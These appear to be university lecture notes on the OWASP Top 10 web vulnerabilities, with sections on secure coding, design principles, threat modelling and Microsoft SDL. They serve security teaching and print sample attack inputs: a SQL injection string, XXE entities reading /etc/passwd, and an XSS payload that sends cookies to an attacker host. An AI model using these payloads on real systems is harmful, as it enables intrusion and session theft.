UNIT II

Introduction to Cyber security: Introduction to OWASP Top 10, A1 Injection, A1 Injection Risks Root Causes and its
Mitigation, A1 Injection, A2 Broken Authentication and Session Management, A7 Cross Site Scripting XSS,A3
Sensitive Data Exposure, A5 Broken Access Control, A4 XML External Entity (XEE), A6 Security
Misconfiguration, A7 Missing Function Level Access Control, A8 Cross Site Request Forgery CSRF, A8 Insecure
Deserialization, A9 Using Components With Known Vulnerabilities, A10 Unvalidated Redirects and Forwards,
A10 Insufficient Logging and Monitoring, Secure Coding Practices, Secure Design Principles, Threat Modeling,
Microsoft SDL Tool.

Introduction to OWASP Top 10:

The Open Web Application Security Project (OWASP) is a nonprofit organization dedicated to improving
software security.
The OWASP Top 10 is a report, or “awareness document,” that outlines security concerns around web
application security. It is regularly updated to ensure it constantly features the 10 most critical risks facing
organizations. OWASP recommends all companies to incorporate the document’s findings into their corporate
processes to ensure they minimize and mitigate the latest security risks.

The OWASP vulnerabilities report is formed on consensus from security experts all over the world. It ranks
risks based on security defect frequency, vulnerability severity, and their potential impact. This provides
developers and security professionals with insight into the most prominent risks and enables them to minimize
the potential of the risks in their organizations’ security practices.

A1 Injection :
What is an injection?
An injection is a type of attack which usually occurs when an attacker send some specious data as a part of query
or command into the input fields of a web site. By this attacker can lead to data theft, data loss or accessing data
without any authorization.
A SQL injection attack is one of the famous A1 injection it can be done by insertion of a SQL query via the input
fields from the client to the application. The simplest form of SQL injection is performed through user input. Web
applications typically user input through a form and the front end passes the user input to the back-end database
for processing.
Different types of injections:
❖ SQL injection
❖ OS command injection.
❖ Host header injection.
❖ Xpath injection.
❖ CRLF injection.
❖ Email header injection.s
Almost any source of data can be an injection vector, including users, parameters, external and internal web
services, and all types of users. Injection flaws occur when an attacker can send hostile data to an interpreter.
Injection flaws are easy to discover when examining code. Scanners and fuzzers can help attackers find injection
flaws.
Impacts:
A successful SQL injection exploits can read sensitive data from the database, modify database data
(Insert/Update/Delete), authentication bypass, information disclosure, denial of service. Maybe the entire system
could compromise. Injection can result in data loss or corruption, lack of accountability, or denial of access.
Injection can sometimes lead to complete host takeover.
Examples:
Scenario #1: An application uses untrusted data in the construction of the following vulnerable SQL call:
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";
Scenario #2: Similarly, an application’s blind trust in frameworks may result in queries that are still vulnerable,
(e.g. Hibernate Query Language (HQL)):
Query HQLQuery = session.createQuery("FROM accounts WHERE custID='" +request.getParameter("id") +
"'");
In both cases, the attacker modifies the ‘id’ parameter value in her browser to send: ' or '1'='1.
For example: http://example.com/app/accountView?id=' or '1'='1
How to prevent A1 Injection?
Preventing injection requires keeping data separate from commands and queries.
* The preferred option is to use a safe API, which avoids the use of the interpreter entirely or provides a
parameterized interface, or migrate to use Object Relational Mapping Tools (ORMs).
* Use LIMIT and other SQL controls within queries to prevent mass disclosure of records in case of SQL
injection.

A2 Broken Authentication:
Broken authentication refers to weaknesses in two areas: session management and credential management.It
happens mostly due to poor implementation of application functions related to authentication and session
management, thus allowing attackers to compromise passwords, keys or session tokens.
The attacker can use this vulnerability by brute force password guessing, using some tools that generate
random passwords.Attackers can also detect broken authentication using manual methods, Phishing, social
engineering methods … etc
Impacts
Attackers will gain access Depending on the domain of the app, this may allow money laundering social security
fraud and identity theft; or disclose legally protected highly sensitive information

The impact of broken authentication can be severe and far-reaching. When attackers successfully exploit these
vulnerabilities, they can gain unauthorized access to user accounts. This may include unauthorized access to
sensitive information, such as personal data, financial details, or intellectual property. So, the attacker can steel
our personal data, bank details, they can leak confidential data also.
Examples
Scenario #1: Application timeouts aren't set properly. User uses a public computer to access site. Instead of
selecting “logout” the user simply closes the browser tab and walks away. Attacker uses the same browser an
hour later, and that browser is still authenticated.

Scenario #2: Attacker acts as a man-in-middle and acquires user's session id from network traffic. Then uses
this authenticated session id to connect to application without needing to enter user name and password.

Scenario #3: Insider or external attacker gains access to the system's password database. User passwords are
not properly hashed, exposing every users' password to the attacker.

How to Prevent A2 Broken authentication?

Session management related security issues can be prevented by taking these measures:

• User authentication credentials should be protected when stored using hashing or encryption.
• Session IDs should not be exposed in the URL (e.g., URL rewriting).
• Session IDs should timeout. User sessions or authentication tokens should get properly invalidated
during logout.
• Session IDs should be recreated after successful login.
• Passwords, session IDs, and other credentials should not be sent over unencrypted connections.

A3 Sensitive Data Exposure:

Sensitive Data Exposure Vulnerability exists in a web application when it is poorly designed. It allow attacker
to apply various security practices and find the sensitive data that is related to particular website. By Sensitive
Data Exposure vulnerability, attackers may be able to find sensitive data such as session tokens, authentication
credentials, databases etc. By such sensitive data an attacker will be able to exploit the web application and the
security of website will be breached.
Using Random fuzzing, Phishing, injection attacks, Network compromises, Ransomware, Broken access
control…etc Sensitive data exposure accures.

Impacts

This may include unauthorized access to sensitive information, such as personal data, financial details, or
intellectual property. So, the attacker can steel our personal data, bank details, they can leak confidential data
also.
Examples
Scenario #1: An application encrypts credit card numbers in a database using automatic database encryption.
However, this data is automatically decrypted when retrieved, allowing a SQL injection flaw to retrieve credit
card numbers in clear text.
Scenario #2: A site doesn’t use or enforce TLS for all pages or supports weak encryption. An attacker monitors
network traffic (e.g. at an insecure wireless network), downgrades connections from HTTPS to HTTP,
intercepts requests, and steals the user’s session cookie. The attacker then replays this cookie and hijacks the
user’s (authenticated) session, accessing or modifying the user’s private data. Instead of the above they could
alter all transported data, e.g. the recipient of a money transfer.
Scenario #3: The password database uses unsalted or simple hashes to store everyone’s passwords. A file
upload flaw allows an attacker to retrieve the password database. All the unsalted hashes can be exposed with a
rainbow table of pre-calculated hashes. Hashes generated by simple or fast hash functions may be cracked by
GPUs, even if they were salted.

How to prevent A3 sensitive data exposure?

* Make sure to encrypt all sensitive data at rest.

* Ensure up-to-date and strong standard algorithms, protocols, and keys are in place; use proper key
management.
* Encrypt all data in transit with secure protocols such as TLS with perfect forward secrecy (PFS) ciphers,
cipher prioritization by the server, and secure parameters. Enforce encryption using directives like HTTP Strict
Transport Security (HSTS).
* Disable caching for response that contain sensitive data.

A4 XML External Entity (XEE):

XML External Entities (XXE) is a type of vulnerability that can allow an attacker to inject malicious XML content
into an application, causing it to theft sensitive information or execute arbitrary code.

XXE vulnerabilities are caused by the use of deprecated XML parsers that allow external entities to be included
in XML documents. These external entities may reference malicious code or be used to exploit vulnerabilities in
the system.
Impacts:
❖ The attacker can able to get the sensitive information from the server .

❖ This may include unauthorized access to sensitive information, such as personal data, financial details, or
intellectual property. So, the attacker can steel our personal data, bank details, they can leak confidential
data also.
Examples:
Scenario #1: The attacker attempts to extract data from the server:

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>

Scenario #2: An attacker probes the server's private network by changing the above ENTITY line to:

< !ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>

Scenario #3: An attacker attempts a denial-of-service attack by including a potentially endless file:

<!ENTITY xxe SYSTEM "file:///dev/random" >]>

How to prevent A4 XML External Entity (XXE):

❖ Disable XML external entity and DTD processing in all XML parsers in your application,
 ❖ upgrade all the latest XML processors and libraries in use by the app or on the underlying operating system.
❖ Upgrade SOAP to the latest version.

A5 Broken Access Control:

Broken access control is a critical security vulnerability in which attackers can perform any action (access,
modify, delete) outside of an application’s intended permissions.
Access control is the permissions granted that allow a user to carry out an action within an application. For
example, web applications need access controls to allow users with varying privileges to use the application.
Some users may only be able to access data, while others can modify or create data. A system administrator
usually manages the application’s access control rules and the granting of permissions.
If an attacker finds a way to request and view documents without authentication then he successfully bypasses the
access control.
Impacts
The technical impact is anonymous attackers acting as users or administrators.

An unauthenticated-user can access the authenticated-user web application and then performs the user operations.

Non-admin can access the admin page and then performs the admin operations.

Examples

Scenario #1: The application uses unverified data in a SQL call that is accessing account information:

pstmt.setString(1, request.getParameter("acct"));

ResultSet results = pstmt.executeQuery( );

An attacker simply modifies the 'acct' parameter in the browser to send whatever account number they want. If not
properly verified, the attacker can access any user's account.

http://example.com/app/accountInfo?acct=notmyacct

Scenario #2: An attacker simply force browses to target URLs. Admin rights are required for access to the admin page.
http://example.com/app/getappInfo

http://example.com/app/admin_getappInfo

If an unauthenticated user can access either page, it’s a flaw. If a non-admin can access the admin page, this is a flaw.

How to prevent A5 Broken Access Control:

❖ With the exception of public resources, deny by default.

❖ Implement access control mechanisms once and re-use them throughout the application.
❖ Disable web server directory listing, and ensure file metadata such (e.g. .git) is not present within web roots

Even anonymous attackers can try to access default accounts, unused pages, unpatched flaws, unprotected
files and directories, etc. to gain unauthorized access to or knowledge of the system.
A6 Security Misconfiguration:
This vulnerability occurs when we enable or install any unnecessary features or default accounts and their
passwords enabled and unchanged or if we use any out of date softwares.
 Security misconfiguration can happen at any level of an application stack, including the network services,
platform, web server, application server, database, frameworks and custom code. Automated scanners are
useful for detecting misconfigurations, use of default accounts or configurations, unnecessary services,
legacy options etc.
Impacts
Such flaws frequently give attackers unauthorized access to some system data or functionality.
Occasionally, such flaws result in a complete system compromise. The business impact depends on the
protection needs of your application and data.
Examples
Scenario #1: The app server admin console is automatically installed and not removed. Default accounts
aren't changed. Attacker discovers the standard admin pages are on your server, logs in with default
passwords, and takes over.
Scenario #2: App server comes with sample apps that are not removed from your production server. These
sample apps have known security flaws attackers use to compromise your server.
Scenario #3: The default configuration or a copied old one activates old vulnerable protocol versions or
options that can be misused by an attacker or malware.
How to prevent A6 Security Misconfiguration
❖ Remove or do not install any unnecessary features, components, documentation and samples. Remove
unused dependencies and frameworks.
❖ An automated process to verify the effectiveness of the configurations and settings in all environments.
❖ Sending security directives to clients, e.g. Security Headers.
❖ A process to triage and deploy all updates and patches in a timely manner to each deployed environment.
This process needs to include all frameworks, dependencies, components, and libraries.

A7 Missing Function Access Control:

The problem here is accessing some parts of the application for which the user is not authorized, for
instance, a non-administrator user accessing the private wage records of the rest of the company. As
usual, the official documentation states the problem precisely:

Most web applications verify function level access rights before making that functionality visible in the
UI. However, applications need to perform the same access control checks on the server when each
function is accessed. If requests are not verified, attackers will be able to forge requests in order to
access functionality without proper authorization. ...

Impacts
➢ Altering the application’s access rights management tool
➢ Exposure of sensitive file types such as log files
➢ Denial of service
➢ Data tampering and breaches
➢ Identity theft/theft of access credentials
 Examples

Scenario #1: Horizontal Privilege Escalation

1. The attacker logs into a website. The URL bar probably includes the user’s ID during the login
process: http://darwin.com/app/uID=1738.
2. After proper authentication, they try to change the user’s ID to that of another user’s account. The URL
is now similar to:http://darwin.com/app/uID=3225.
3. Without proper authorization, the hacker can log in as other application users by editing the
URL’s UID parameter.

Scenario #2: Forced Browsing Exploit

1. Assuming the unauthorized user is browsing a site with the URL: http://darwin.com
2. When clicking on a link, he notices the URL: http://darwin.com/app/info-page.
3. The unauthorized user may try to access a page with elevated privileges by guessing and adding a
parameter to the URL to lead to an admin user page: http://darwin.com/app/admin-info-page.
4. If this page exists and the access control system is faulty, he can now perform functions of a privileged
user within the application.

How to prevent A7 Missing function access control?

❖ Proper authentication and authorization is done by both UI and Service side.

❖ Never depend on the UI side for any kind of validation.
❖ Don’t do any hard coding to test.

A7 Cross Site Scripting XSS:

An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way
to know that the script should not be trusted, and will execute the script. Because it thinks the script came from
a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information
retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.

Cross-Site Scripting (XSS) attacks occur when:

1. Data enters a Web application through an untrusted source, most frequently a web request.
2. The data is included in dynamic content that is sent to a web user without being validated for malicious
content.

Impacts

• XSS is the second most prevalent issue in the OWASP Top 10, and is found in around two thirds of all
applications.
• It can install malwares in the user’s machine.
• XSS can also impact a business’s reputation.
• A hacker can also change the instructions given to users who visit the target website, misdirecting their
behaviour.
Examples

Scenarios #1:
The application uses untrusted data in the construction of the following HTML snippet without validation or
escaping:
(String) page += “<input name=’creditcard’ type=’TEXT’ value=’’’+request.getParameter(“CC”)+”’>”;
The attacker modifies the ‘CC’ parameter in his browser to:
‘><script>document.location=’http://www.attacker.com/cgi-bin/cookie.chi?foo=’+document.cookie</script>’
This attack causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack
the user’s current session.

Scenarios #2: Your app or API includes unvalidated and unescaped user input as part of HTML output or there
is no content security policy (CSP) header. A successful attack can allow the attacker to execute arbitrary
HTML and JavaScript in the victim’s browser. Typically the user will need to interact with a link, or some other
attacker controlled page, such as a watering hole attack, malvertizing, or similar

How to prevent A7 Cross site scripting XSS?

Use safer frameworks that automatically escape for XSS by design, such as in Ruby 3.0 or React JS.
Enabling a Content Security Policy (CSP) is a defense in depth mitigating control against XSS.
Applying context sensitive encoding when modifying the browser document on the client side acts against
DOM XSS.

A8 Cross-Site Request Forgery (CSRF) Attack:

Cross-Site Request Forgery (CSRF or XSRF) is an attack that forces an end-user to execute unwanted operations

within a web service that has previously granted them access. Attackers generally utilize social engineering

platforms to perform CSRF attacks. This misleads the target into clicking a URL that carries an unauthorized,

maliciously designed request for a specific web service. When a user hits the link, their web server sends an

unauthorized request to the target application for a particular web application for which they have credentials.

Impacts

● Change the target's information in an application

● Make a transaction

● Change login details and passwords

● Purchase things using the victim's credentials

● Send information using the name of the victim

Examples
scenario #1:Building an exploit URL or script
scenario #2:Tricking Alice into executing the action with Social Engineering
scenario #3:For Example, a normal GET request for a $150 bank transfer might look like this:
Get http://netbank.com/transfer.do?acct=personA&amount=$150 HTTP/1.1
An attacker changes this file so that it transfers $150 to their own account.
Get http://netbank.com/transfer.do?acct=attackersB&amount=$150 HTTP/1.1

How to Prevent A8 CSRF attack?

● Web applications should be closed while not in use.

● Keep passwords and usernames secure

● Prevent websites from saving passwords

● Avoid parallel searching when logged into a website.

● Using an anti-CSRF token

● Use the same-site cookie flag
A8 Insecure Deserialization:
What is serialization and deserialization?

Serialization refers to the process of converting an object instance into a specific format — e.g., XML or JSON

— which can be saved to a file or to memory, or sent over a network. Its main purpose is to save the state of an

object and recreate it when needed. Deserialization is the reverse of this process; it takes the serialized data and

rebuilds it.

EX: When we stop or pause a running computer game, it usually starts from the state where it was left off when

we play it again. This is possible through the process of serialization, which is saving the current object state as

a byte stream into a file or database. Then, to restore the object’s state when we access the game again,

deserialization takes place.

What is insecure deserialization?

Serialization is the process of transforming an object or data structure into a format in which it can be stored and

transported for later reconstruction. This process can be tricked by an attacker in two ways. The first consists of

modifying the application's logic or achieving remote code execution. The second consists of manipulating the

data that is transported in the serialization.

Impacts:

❖ They can modify our data.

❖ They can lead to remote code execution attacks.

❖ Attacker can theft cookies.

Example:

A site that saves in a cookie a serialized object with the user id, the user's role, password hash, among other data.

An attacker modifies the cookie to grant themselves admin permissions and get full control.

Scenario: A PHP forum uses PHP object serialization to save a "super" cookie, containing the user's user ID, role,

password hash, and other state:

a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

An attacker changes the serialized object to give themselves admin privileges:

a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin"; i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

How to prevent A8 insecure deserialization?

❖ Implement integrity checks or encryption of the serialized objects.

❖ Enforce strict type constraints during deserialization before object creation.

❖ Monitor deserialization, alerting if a user deserializes constantly.

A9 Using Components With Known Vulnerabilities:

Components, such as libraries, frameworks, and other software modules, almost always run with full privileges.
If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover.
Applications using components with known vulnerabilities may undermine application defences and enable a
range of possible.

Impacts:
❖ They can lead to remote code execution attacks.
❖ Change the target's information in an application.
❖ Exposure of sensitive data.
❖ Data tampering and breaches
❖ Identity theft/theft of access credentials

How to prevent A9 using components using known vulnerability?

❖ Remove unused dependencies, unnecessary features, components, files, and documentation.
❖ Continuously inventory the versions of both client-side and server-side components and their
dependencies using tools like versions, DependencyCheck, retire.js, etc.
❖ Use software composition analysis tools to automate the process.

A10 Unvalidated Redirects and Forwards:

Unvalidated Redirects and Forward Vulnerability, also sometimes referred to as URL Redirection
Vulnerability, is a type of bug found in the Web Application. In this type of vulnerability, the attacker uses to
manipulate the URL and sends it to the victim. As soon as the victim opens the URL, the website redirects it
to a malicious website.
An unvalidated redirect is link on trusted site that will take the user to an unauthorized site to expose a
vulnerability.

Example for unvalidated redirect:http://www.example.com/redirect.php?url=http://evil.com

When applications allow user input to forward requests between different parts of the site, the application must
check that the user is authorized to access the URL, perform the functions it provides, and it is an appropriate
URL request.

If the application fails to perform these checks, an attacker crafted URL may pass the application's access
control check and then forward the attacker to an administrative function that is not normally permitted.

Example for unvalidated forward:http://www.example.com/function.jsp?fwd=admin.jsp

Impacts:
❖ Lack of End User Trust
❖ Lack of Credibility
❖ Malware Installation
❖ Worm Infections

How to prevent A10 unvalidated redirects and forwards?

❖ Remove redirection functions from the Web Application & replace them with direct links
❖ A server-side list should be maintained for all the particular URLs that are needed to be redirected
❖ Proper Validation in the URL those are redirecting must be integrated at the backend
❖ Absolute URLs must be used in the Web Applications for all the specific redirects.

A10 Insufficient logging and monitoring:

This risk refers to the lack of registration of auditable events such as login attempts, system failures, alerts, etc.
This also includes unclear or insufficiently informative log records to properly detect a transaction or an error in
a business process.

Insufficient logging, detection, monitoring and active response occurs any time:
❖ Auditable events, such as logins, failed logins, and high value transactions are not logged.
❖ Logs of applications and APIs are not monitored for suspicious activity.

Impacts:
❖ Identity theft.
❖ Money transferring.
❖ Data breaches.
❖ Change the target's information in an application.
❖ Exposure of sensitive data.

Example:-
Scenario#1: An attacker who uses a data dictionary to try to violate a login. If this behavior is not detected
in time, the attacker could gain access after a certain period of time.
Scenario#2: If a developer didn’t set sufficient login attempts the hacker can able to get login get access on
a target web application by using Brute force password guessing method.

How to prevent A10 insufficient logging and monitoring?

• It should be ensured that all logins, access control, input validation, and suspicious activities are
recorded. This includes generating alerts.
• High-impact processes must keep an auditable record that allows verification of the integrity of the
process and prevents alterations or deletions.
• A monitoring and alert system can be established to detect suspicious activities within an acceptable
period of time.
What is secure coding?
Secure coding, also referred to as secure programming, involves writing code in a high-level language that
follows strict principles, with the goal of preventing potential vulnerabilities (which could expose data or cause
harm within a targeted system).
Secure coding is more than just writing, compiling, and releasing code into applications. To fully embrace
secure programming, you also need to create a secure development environment built on a reliable and secure
IT infrastructure using secure hardware, software, and services and providers.
5 Best practices for your secure coding checklist:

1. Code minification and obfuscation: Making your code harder to access, and by extension harder to
read, can deter potential attackers. In the JavaScript world, a common practice is to minify code.
Minification removes white space and line breaks from your code. And while it is and is really intended
to enhance performance by reducing the footprint of code files, it has the added benefit of making
exposed code much harder to read. Another similar, more effective technique is code obfuscation, which
turns human-readable code into text that is difficult to understand.
2. Avoiding shortcuts: It can be tempting for developers to want to take shortcuts to release code into
production faster, but this could have serious security implications. For example, attacks often occur
when hardcoded credentials and security tokens are left as comments. This information should be
cleaned up long before your apps are released. But as your code base gets bigger and there is mounting
pressure to deliver working code on increasingly tight release schedules, the likelihood of security gaps
goes up.
3. Automated scanning & code reviews: Cross-site scripting (XSS), SQL injection, and other types of
attacks can exploit security vulnerabilities in your code. Both XSS and SQL injection attacks result from
weakness in your code that fails to distinguish between data and commands. XSS executes malicious
code under your domain. SQL injection attacks attempt to steal or manipulate data in your internal data
stores. A combination of regular secure code reviews and automated tools that scan your code for these
vulnerabilities can help prevent such attacks.
4. Avoiding components with known vulnerabilities: While open-source components and libraries,
often consumed as packages, can save developers time and energy, they are also a common entry point
for malicious actors and a great source of vulnerabilities and potential exploits. Refraining from using
those components with known vulnerabilities and constantly monitoring for new vulnerabilities
throughout the development process in the components you use will help you maintain the integrity of
your code.
5. Auditing & logging: Software with sufficient logging and monitoring will allow you to detect potential
incidents when your code is deployed in a production environment.

Secure design principles:

Secure design principles describe a securely architected system hosted on cloud or on-premises datacentres (or
a combination of both). Application of these principles dramatically increases the likelihood your security
architecture assures confidentiality, integrity, and availability.

The main secure design principles are the following:

a) Economy of mechanism: Keep the design as simple and small as possible.

b) Fail-safe defaults: Base access decisions on permission rather than exclusion.

c) Complete mediation: Every access to every object must be checked for authority (there and then).

d) Open design: The design (and the code) should not be considered secret. The secret is always data, like a
password or a cryptographic key.
e) Separation of privilege: It’s always safer if it takes two parties to agree on a decision than if one can do it
alone.

f) Least privilege: Operate with the minimal set of powers needed to get the job done.

g) Least common mechanism: Minimize subsystems shared between or relied upon by mutually distrusting
users.

h) Psychological acceptability: Design security systems for ease of use for humans.

The two additional secure design principles are:

i) Work factor: Compare the cost of circumventing the mechanism with the resources of a potential attacker.

j) Compromise recording: Record that a compromise of information has occurred.

Thread modelling:
Threat modelling is a security engineering activity designed to document hidden security risks that may not be
anticipated or obvious. The threat modelling process attempts to uncover possible attack vectors and prioritize
the risks software is susceptible to so development teams can focus their attention on the most relevant risks.
The benefits of applying threat modelling in the SDLC include the following:

• knowledge of the probability, potential harm and priority of attacks;

• prioritized security efforts;
• the ability to weigh security decisions against design goals; and
• confirmation that appropriate countermeasures are designed into an application.

The benefits of applying threat modelling in the SDLC include the following:

• knowledge of the probability, potential harm and priority of attacks;

• prioritized security efforts;
• the ability to weigh security decisions against design goals; and
 • confirmation that appropriate countermeasures are designed into an application.

Microsoft SDL tool:

The Microsoft SDL introduces security and privacy considerations throughout all phases of the development
process, helping developers build highly secure software, address security compliance requirements, and
reduce development costs. The guidance, best practices, tools, and processes in the Microsoft SDL are
practices we use internally to build more secure products and services. Since first shared in 2008, we’ve
updated the practices as a result of our growing experience with new scenarios, like the cloud, Internet of
Things (IoT), and artificial intelligence (AI).
All Microsoft software development teams must follow SDL requirements, and they continuously update the
SDL to reflect the changing threat landscape, industry best practices, and regulatory standards for compliance.

With the help of the combination of a holistic and practical approach, the SDL aims to reduce the number and
severity of vulnerabilities in software. The SDL introduces security and privacy throughout all phases of the
development process.

The Microsoft SDL is based on three core concepts:

❖ Education
❖ Continuous process improvement
❖ Accountability